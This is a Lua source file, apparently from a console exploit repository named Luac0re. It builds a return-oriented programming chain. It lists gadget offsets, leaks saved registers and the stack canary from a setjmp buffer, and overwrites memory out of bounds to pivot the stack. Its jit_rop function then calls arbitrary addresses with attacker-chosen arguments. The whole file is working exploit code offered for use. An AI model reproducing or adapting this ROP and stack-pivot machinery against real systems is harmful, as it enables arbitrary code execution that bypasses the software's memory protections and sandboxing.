mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-21 08:10:15 -05:00
299 lines
8.8 KiB
Lua
299 lines
8.8 KiB
Lua
|
|
local chain_idx = 0
|
|
|
|
local function push_chain(value)
|
|
local chain_addr = FAKE_RSP + 0x1A0 + chain_idx * 8
|
|
write64(chain_addr, value)
|
|
chain_idx = chain_idx + 1
|
|
return chain_addr
|
|
end
|
|
|
|
|
|
function jit_init_rop()
|
|
|
|
JIT_ROP = {
|
|
-- 0x72: ret ;
|
|
RET = JIT_BASE + 0x72,
|
|
|
|
-- 0x501f: mov rax, rdi ; ret ;
|
|
MOV_RAX_RDI_RET = JIT_BASE + 0x501f,
|
|
-- 0xeea41: pop rdi ; ret ;
|
|
POP_RDI_RET = JIT_BASE + 0xeea41,
|
|
-- 0xeea8a: pop rsi ; ret ;
|
|
POP_RSI_RET = JIT_BASE + 0xeea8a,
|
|
-- 0xfced7: mov rdx, rdi ; ret ;
|
|
MOV_RDX_RDI_RET = JIT_BASE + 0xfced7,
|
|
-- 0xfe9fc: pop rcx ; ret ;
|
|
POP_RCX_RET = JIT_BASE + 0xfe9fc,
|
|
-- 0x7a69c: pop rbx ; ret ;
|
|
POP_RBX_RET = JIT_BASE + 0x7a69c,
|
|
|
|
-- 0x347d0: mov qword [rbx+0x08], rax ; pop rbx ; pop r14 ; pop rbp ; ret ;
|
|
MOV_DEREF_RBX_RAX_RET = JIT_BASE + 0x347d0,
|
|
|
|
-- 0x144210: pop rsp ; ret ;
|
|
POP_RSP_RET = JIT_BASE + 0x144210,
|
|
-- 0x194: pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret ;
|
|
POP_R12_R13_R14_R15_RBP_RET = JIT_BASE + 0x194,
|
|
|
|
-- 0x140da7: mov rax, qword [rax+0x00004150] ; ret
|
|
MOV_RAX_DEREF_RAX_RET = JIT_BASE + 0x140da7,
|
|
|
|
-- 0x84849: mov qword [rax], r8 ; add dh, dh ; ret ;
|
|
MOV_DEREF_RAX_R8_RET = JIT_BASE + 0x84849,
|
|
|
|
-- 0x2db63: mov r8, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
|
|
MOV_R8_RBX_RET = JIT_BASE + 0x2db63,
|
|
-- 0x18b23: mov r9, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
|
|
MOV_R9_RBX_RET = JIT_BASE + 0x18b23,
|
|
|
|
}
|
|
|
|
-- Leak from setjmp buffer
|
|
LEAK_RBX = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x08) -- DOOR3_SHM
|
|
LEAK_RSP = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x10)
|
|
LEAK_RBP = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x18)
|
|
LEAK_R12 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x20) -- DOOR3_SHM + 8 ?
|
|
LEAK_R13 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x28)
|
|
LEAK_R14 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x30) -- DOOR3_SHM
|
|
LEAK_R15 = read64(NEW_DOOR3_GLOBAL + 0x110 + 0x38) -- stack canary
|
|
|
|
FAKE_RSP = OOB_SCRATCH_BASE + 0x60000
|
|
|
|
write64(OOB_SCRATCH_BASE + 0x180, OOB_SCRATCH_BASE + 0x3000)
|
|
-- overwrite setjmp buffer in realtime
|
|
write32(OOB_SCRATCH_BASE + 0x108, 0xFFFFFFFF)
|
|
write32(OOB_SCRATCH_BASE + 0x10C, 0)
|
|
write64(OOB_SCRATCH_BASE + 0x1000, OOB_SCRATCH_BASE + 0x1100)
|
|
write64(OOB_SCRATCH_BASE + 0x1100, OOB_SCRATCH_BASE + 0x1300)
|
|
write64(OOB_SCRATCH_BASE + 0x1110, OOB_SCRATCH_BASE + 0x1200)
|
|
write64(OOB_SCRATCH_BASE + 0x1200, 0)
|
|
write64(OOB_SCRATCH_BASE + 0x1208, 0)
|
|
write32(OOB_SCRATCH_BASE + 0x1118, 0xFFFF)
|
|
write64(OOB_SCRATCH_BASE + 0x1300, FAKE_RSP)
|
|
write64(OOB_SCRATCH_BASE + 0x100, (OOB_SCRATCH_BASE + 0x1000) - (DOOR3_SHM & 0xFFFFFFFF) * 8)
|
|
|
|
write64(OOB_SCRATCH_BASE + 0x1318, 0)
|
|
|
|
write32(OOB_SCRATCH_BASE + 0x48, 0x900)
|
|
|
|
write32(DOOR3_SHM + 0x08, 0x1) -- sub_149110 thread unlock
|
|
write32(DOOR3_SHM + 0x0C, 0x812) -- sub_154A60 case 2066
|
|
write32(DOOR3_SHM + 0x10, 0x10)
|
|
write32(DOOR3_SHM + 0x14, 0)
|
|
write64(DOOR3_SHM + 0x38, OOB_SCRATCH_BASE + 0x118)
|
|
|
|
-- dummy fill
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
|
|
JIT_ROP_CHAIN_START = push_chain(JIT_ROP.RET)
|
|
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
|
|
-- Make ROP chain to infinite loop
|
|
JIT_ROP_CHAIN_END = push_chain(JIT_ROP.POP_RSP_RET)
|
|
push_chain(JIT_ROP_CHAIN_END)
|
|
|
|
syscall.write(ORG_MAIN_SOCK, "3", 1)
|
|
|
|
microsleep(100000)
|
|
|
|
end
|
|
|
|
function jit_rop(address, rax, arg1, arg2, arg3, arg4, arg5, arg6)
|
|
|
|
local string_idx= 0
|
|
|
|
local function process_arg(arg)
|
|
if arg == nil then
|
|
return 0
|
|
elseif type(arg) == "string" then
|
|
if #arg > 0x2500 then
|
|
error("string argument length cannot exceed 0x2500")
|
|
end
|
|
local string_buf_addr = JIT_STRING_SCRATCH + string_idx * 0x2500
|
|
write_string(string_buf_addr, arg)
|
|
string_idx = string_idx + 1
|
|
return string_buf_addr
|
|
else
|
|
return arg
|
|
end
|
|
end
|
|
|
|
local rax = rax or 0
|
|
|
|
local arg1 = process_arg(arg1)
|
|
local arg2 = process_arg(arg2)
|
|
local arg3 = process_arg(arg3)
|
|
local arg4 = process_arg(arg4)
|
|
local arg5 = process_arg(arg5)
|
|
local arg6 = process_arg(arg6)
|
|
|
|
chain_idx = 0
|
|
|
|
-- dummy fill
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
push_chain(JIT_ROP.RET)
|
|
|
|
-- r8
|
|
-- mov r8, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
|
|
local TEMP_R13 = ((FAKE_RSP - 0x20000 - JIT_ROP.RET) // 4) + 1
|
|
write64(TEMP_R13 * 4 + JIT_ROP.RET, 0)
|
|
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
|
|
push_chain(LEAK_R12)
|
|
push_chain(TEMP_R13) -- r13
|
|
push_chain(LEAK_R14)
|
|
push_chain(LEAK_R15)
|
|
push_chain(LEAK_RBP)
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(JIT_ROP.RET) -- rax
|
|
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
|
|
push_chain(JIT_ROP.POP_RBX_RET)
|
|
push_chain(arg5)
|
|
push_chain(JIT_ROP.MOV_R8_RBX_RET)
|
|
|
|
-- r9
|
|
-- mov r9, rbx ; movsxd rcx, qword [rax+r13*4] ; add rcx, rax ; jmp rcx ;
|
|
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
|
|
push_chain(LEAK_R12)
|
|
push_chain(TEMP_R13) -- r13
|
|
push_chain(LEAK_R14)
|
|
push_chain(LEAK_R15)
|
|
push_chain(LEAK_RBP)
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(JIT_ROP.RET) -- rax
|
|
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
|
|
push_chain(JIT_ROP.POP_RBX_RET)
|
|
push_chain(arg6)
|
|
push_chain(JIT_ROP.MOV_R9_RBX_RET)
|
|
|
|
-- rax
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(rax)
|
|
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
|
|
|
|
-- rdx
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(arg3)
|
|
push_chain(JIT_ROP.MOV_RDX_RDI_RET)
|
|
|
|
-- rdi
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(arg1)
|
|
|
|
-- rsi
|
|
push_chain(JIT_ROP.POP_RSI_RET)
|
|
push_chain(arg2)
|
|
|
|
-- rcx
|
|
push_chain(JIT_ROP.POP_RCX_RET)
|
|
push_chain(arg4)
|
|
|
|
push_chain(address)
|
|
|
|
-- Get return value
|
|
push_chain(JIT_ROP.POP_RBX_RET)
|
|
push_chain(OOB_SCRATCH_BASE + 0x2000 - 8)
|
|
push_chain(JIT_ROP.MOV_DEREF_RBX_RAX_RET)
|
|
push_chain(LEAK_RBX)
|
|
push_chain(LEAK_R14)
|
|
push_chain(LEAK_RBP)
|
|
|
|
push_chain(JIT_ROP.POP_R12_R13_R14_R15_RBP_RET)
|
|
push_chain(LEAK_R12)
|
|
push_chain(LEAK_R13)
|
|
push_chain(LEAK_R14)
|
|
push_chain(LEAK_R15)
|
|
push_chain(LEAK_RBP)
|
|
|
|
-- Make ROP chain loop again at the end
|
|
push_chain(JIT_ROP.POP_RDI_RET)
|
|
push_chain(JIT_ROP_CHAIN_END)
|
|
push_chain(JIT_ROP.MOV_RAX_RDI_RET)
|
|
|
|
push_chain(JIT_ROP.POP_RBX_RET)
|
|
push_chain(JIT_ROP_CHAIN_END)
|
|
push_chain(JIT_ROP.MOV_DEREF_RBX_RAX_RET)
|
|
push_chain(LEAK_RBX)
|
|
push_chain(LEAK_R14)
|
|
push_chain(LEAK_RBP)
|
|
|
|
-- Trigger ROP chain by breaking ROP loop
|
|
push_chain(JIT_ROP.POP_RSP_RET)
|
|
push_chain(JIT_ROP_CHAIN_START)
|
|
|
|
-- Wait until JIT ROP chain finishes
|
|
while read64(JIT_ROP_CHAIN_END + 0x8) ~= JIT_ROP_CHAIN_END do
|
|
-- Add micro bump to make GC happy
|
|
microsleep(1000)
|
|
end
|
|
|
|
return read64(OOB_SCRATCH_BASE + 0x2000)
|
|
|
|
end
|
|
|